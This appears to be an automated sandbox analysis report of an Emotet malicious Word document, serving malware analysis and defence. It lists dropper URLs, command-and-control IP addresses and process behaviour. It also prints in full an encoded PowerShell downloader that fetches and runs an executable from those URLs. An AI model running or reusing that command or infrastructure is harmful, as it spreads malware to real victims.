emotet | 9bfe8ce1fed3e9918f4d54e7dda89316e7df9eca1de6f6e7ffad62ec16b2f1b7

General

Target
emotet_e2_9bfe8ce1fed3e9918f4d54e7dda89316e7df9eca1de6f6e7ffad62ec16b2f1b7_2020-08-20__145615._doc.doc
Size 244KB
Sample200820-1fmja4fcan
SHA256 9bfe8ce1fed3e9918f4d54e7dda89316e7df9eca1de6f6e7ffad62ec16b2f1b7
MD5 576a63f57344f562d3cd99a9c7ed367f
SHA1 caf897b0ce34a0419b5272e2fc10a9374569c5b2
SHA512 80a924ef983eb53ef9e8554ebfdad8024dbbdbf8c5d9a6af4d45572568d81b80a8fde2aa161f850dc6b7ec764b133044ce2cbf949f1e8f5e87c6ab19c906b4f4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://thuening.de/cgi-bin/uo9wm/
exe.dropper
http://portugalmypassion.com/wp-content/gJWA/
exe.dropper
http://colegiolaesperanza.cl/new_img/fuJUk/
exe.dropper
http://neuromedicaltechnology.com/cgi-bin/SkB/
exe.dropper
http://sensesgo.com/e9x8b82yg/y651K/
exe.dropper
http://theonpassive.com/wp-admin/A3/
exe.dropper
http://www.feetinform.de/localization/n7g/

Extracted

Family

emotet

C2

70.121.172.89:80
116.202.234.183:8080
69.30.203.214:8080
185.94.252.104:443
64.183.73.122:80
190.55.181.54:443
37.70.8.161:80
174.137.65.18:80
203.153.216.189:7080
109.116.214.124:443
93.51.50.171:8080
190.160.53.126:80
222.214.218.37:4143
87.106.136.232:8080
113.160.130.116:8443
174.102.48.180:80
79.98.24.39:8080
189.212.199.126:443
89.186.91.200:443
24.233.112.152:80
181.230.116.163:80
85.152.162.105:80
104.131.11.150:443
153.163.83.106:80
68.44.137.144:443
97.82.79.83:80
85.105.205.77:8080
104.236.246.93:8080
24.43.99.75:80
199.101.86.142:8080
74.120.55.163:80
176.111.60.55:8080
47.144.21.12:443
109.74.5.95:8080
47.146.117.214:80
116.203.32.252:8080
98.109.204.230:80
173.62.217.22:443
107.185.211.16:80
61.19.246.238:443
5.196.74.210:8080
200.41.121.90:80
91.211.88.52:7080
24.137.76.62:80
85.66.181.138:80
70.167.215.250:8080
203.117.253.142:80
204.197.146.48:80
142.105.151.124:443
167.86.90.214:8080
139.130.242.43:80
157.147.76.151:80
187.161.206.24:80
137.59.187.107:8080
81.2.235.111:8080
95.213.236.64:8080
201.173.217.124:443
87.106.139.101:8080
93.147.212.206:80
24.179.13.119:80
152.168.248.128:443
95.179.229.244:8080
41.60.200.34:80
139.59.60.244:8080
2.58.16.85:7080
46.105.131.79:8080
78.24.219.147:8080
75.139.38.211:80
168.235.67.138:7080
110.145.77.103:80
62.75.141.82:80
68.188.112.97:80
180.92.239.110:8080
104.131.44.150:8080
67.205.85.243:8080
103.86.49.11:8080
74.208.45.104:8080
37.187.72.193:8080
157.245.99.39:8080
37.139.21.175:8080
5.39.91.110:7080
209.141.54.221:8080
188.83.220.2:443
169.239.182.217:8080
83.169.36.251:8080
121.124.124.40:7080
200.114.213.233:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3100	4008	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/508-14-0x00000000022E0000-0x00000000022EC000-memory.dmp	emotet
behavioral2/memory/508-14-0x00000000022E0000-0x00000000022EC000-memory.dmp	emotet
behavioral2/memory/1304-17-0x0000000002090000-0x000000000209C000-memory.dmp	emotet
behavioral2/memory/1304-17-0x0000000002090000-0x000000000209C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
12	3100	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
508	Ihz_2rk.exe
1304	capauthz.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\umdmxfrm\capauthz.exe	Ihz_2rk.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3780	WINWORD.EXE
3780	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3100	powersheLL.exe
3100	powersheLL.exe
3100	powersheLL.exe
1304	capauthz.exe
1304	capauthz.exe
1304	capauthz.exe
1304	capauthz.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3100	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
508	Ihz_2rk.exe
508	Ihz_2rk.exe
1304	capauthz.exe
1304	capauthz.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3100 wrote to memory of 508	3100	powersheLL.exe	73
PID 3100 wrote to memory of 508	3100	powersheLL.exe	73
PID 3100 wrote to memory of 508	3100	powersheLL.exe	73
PID 508 wrote to memory of 1304	508	Ihz_2rk.exe	75
PID 508 wrote to memory of 1304	508	Ihz_2rk.exe	75
PID 508 wrote to memory of 1304	508	Ihz_2rk.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_9bfe8ce1fed3e9918f4d54e7dda89316e7df9eca1de6f6e7ffad62ec16b2f1b7_2020-08-20__145615._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3780

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBAGcAMABqAHIAMwBwAD0AKAAnAFIAdgB6AG0ANgAnACsAJwBxAGcAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBOAFYAOgBUAEUATQBwAFwATwBGAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAGAAUgBpAFQAeQBgAHAAcgBPAGAAVABPAGMATwBMACIAIAA9ACAAKAAnAHQAbABzADEAJwArACcAMgAsACAAJwArACcAdAAnACsAJwBsAHMAMQAnACsAJwAxACwAIAB0AGwAcwAnACkAOwAkAFIAeQBiAHYAYQBiAHkAIAA9ACAAKAAnAEkAaAB6AF8AMgByACcAKwAnAGsAJwApADsAJABaAF8AZwBtADAAbwB6AD0AKAAnAFoAZABiAGsAYwAnACsAJwBqACcAKwAnAGIAJwApADsAJABJAHYAdQBrAHkAdgB4AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBZAHcARQBPAGYAZgBpACcAKwAnAGMAJwArACcAZQAyADAAMQA5AFkAdwAnACsAJwBFACcAKQAuACIAUgBFAGAAUABsAEEAYwBFACIAKAAoAFsAQwBIAEEAcgBdADgAOQArAFsAQwBIAEEAcgBdADEAMQA5ACsAWwBDAEgAQQByAF0ANgA5ACkALAAnAFwAJwApACkAKwAkAFIAeQBiAHYAYQBiAHkAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEUAdAB3AGQAOABrAHQAPQAoACcATQB4AGsANQBtAHoAJwArACcAOQAnACkAOwAkAEwANAAxAGIAdgBsADIAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAYwBMAEkARQBuAFQAOwAkAE4AeABuADYAYQBhADAAPQAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwB0AGgAdQBlAG4AaQBuAGcALgAnACsAJwBkAGUALwBjAGcAaQAnACsAJwAtACcAKwAnAGIAaQBuAC8AdQBvADkAdwAnACsAJwBtAC8AKgBoACcAKwAnAHQAJwArACcAdABwACcAKwAnADoALwAvAHAAbwAnACsAJwByAHQAdQBnAGEAJwArACcAbABtAHkAcABhAHMAJwArACcAcwBpAG8AbgAuAGMAbwBtAC8AJwArACcAdwBwAC0AYwBvACcAKwAnAG4AJwArACcAdABlAG4AdAAvAGcASgBXAEEALwAqAGgAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AYwBvACcAKwAnAGwAZQBnAGkAbwBsACcAKwAnAGEAZQBzAHAAJwArACcAZQAnACsAJwByACcAKwAnAGEAbgB6AGEALgBjAGwAJwArACcALwAnACsAJwBuAGUAdwBfAGkAJwArACcAbQBnAC8AZgB1AEoAVQBrAC8AKgBoAHQAdAAnACsAJwBwADoALwAvAG4AZQB1AHIAbwAnACsAJwBtAGUAZABpAGMAYQAnACsAJwBsACcAKwAnAHQAZQAnACsAJwBjAGgAbgBvAGwAbwBnAHkALgBjAG8AJwArACcAbQAvAGMAZwBpAC0AYgBpAG4ALwBTAGsAQgAnACsAJwAvACoAaAB0AHQAcAA6AC8ALwBzAGUAbgBzAGUAcwBnAG8ALgBjACcAKwAnAG8AbQAvAGUAOQB4ACcAKwAnADgAYgA4ACcAKwAnADIAeQBnAC8AeQA2ACcAKwAnADUAMQBLAC8AKgBoAHQAdAAnACsAJwBwADoAJwArACcALwAvAHQAaABlAG8AbgBwAGEAcwBzAGkAdgBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBBADMALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AdwAnACsAJwB3AHcALgBmAGUAZQAnACsAJwB0AGkAbgAnACsAJwBmAG8AcgBtAC4AZABlAC8AbABvAGMAYQBsAGkAegBhACcAKwAnAHQAaQBvACcAKwAnAG4ALwBuADcAZwAvACcAKQAuACIAcwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAGMAagByAHYAYwBjAD0AKAAnAFcAawBuACcAKwAnADMAcAA4AG0AJwApADsAZgBvAHIAZQBhAGMAaAAoACQATAB4ADMAYwByAGIAcwAgAGkAbgAgACQATgB4AG4ANgBhAGEAMAApAHsAdAByAHkAewAkAEwANAAxAGIAdgBsADIALgAiAGQAYABvAHcAYABOAGwAbwBhAEQARgBpAGAAbABFACIAKAAkAEwAeAAzAGMAcgBiAHMALAAgACQASQB2AHUAawB5AHYAeAApADsAJABEAGUANQBoADYAaABhAD0AKAAnAEwAMAA3ACcAKwAnAGwAZAA3AGMAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAdgB1AGsAeQB2AHgAKQAuACIAbABlAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADUANwA5ADkAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQASQB2AHUAawB5AHYAeAApADsAJABNAG8AYQBfAHYAYQBkAD0AKAAnAEkAaAAnACsAJwB3ADgAMwAnACsAJwA0AHYAJwApADsAYgByAGUAYQBrADsAJABGAHoAaQA3ADEAegB6AD0AKAAnAE8AJwArACcAYgB3AGgAMgBnAGEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAHcAOQBzAG0AYwB1AD0AKAAnAFMAMgAnACsAJwB0AF8AbwAnACsAJwA0AHoAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3100
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ihz_2rk.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ihz_2rk.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:508
- - C:\Windows\SysWOW64\umdmxfrm\capauthz.exe
    "C:\Windows\SysWOW64\umdmxfrm\capauthz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1304

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/508-14-0x00000000022E0000-0x00000000022EC000-memory.dmp

Download

memory/1304-17-0x0000000002090000-0x000000000209C000-memory.dmp

Download

memory/3100-8-0x00007FFDCA510000-0x00007FFDCAEFC000-memory.dmp

Download

memory/3100-9-0x000002D950720000-0x000002D950721000-memory.dmp

Download

memory/3100-10-0x000002D950A40000-0x000002D950A41000-memory.dmp

Download

memory/3780-0-0x00007FFDD2950000-0x00007FFDD3016000-memory.dmp

Download

memory/3780-7-0x000002491D444000-0x000002491D449000-memory.dmp

Download

memory/3780-6-0x000002491D441000-0x000002491D444000-memory.dmp

Download

memory/3780-5-0x000002491D441000-0x000002491D444000-memory.dmp

Download

memory/3780-4-0x000002491AE6E000-0x000002491AE73000-memory.dmp

Download

memory/3780-3-0x000002491D26C000-0x000002491D271000-memory.dmp

Download

memory/3780-2-0x000002491D26C000-0x000002491D271000-memory.dmp

Download

memory/3780-1-0x000002491D26C000-0x000002491D271000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads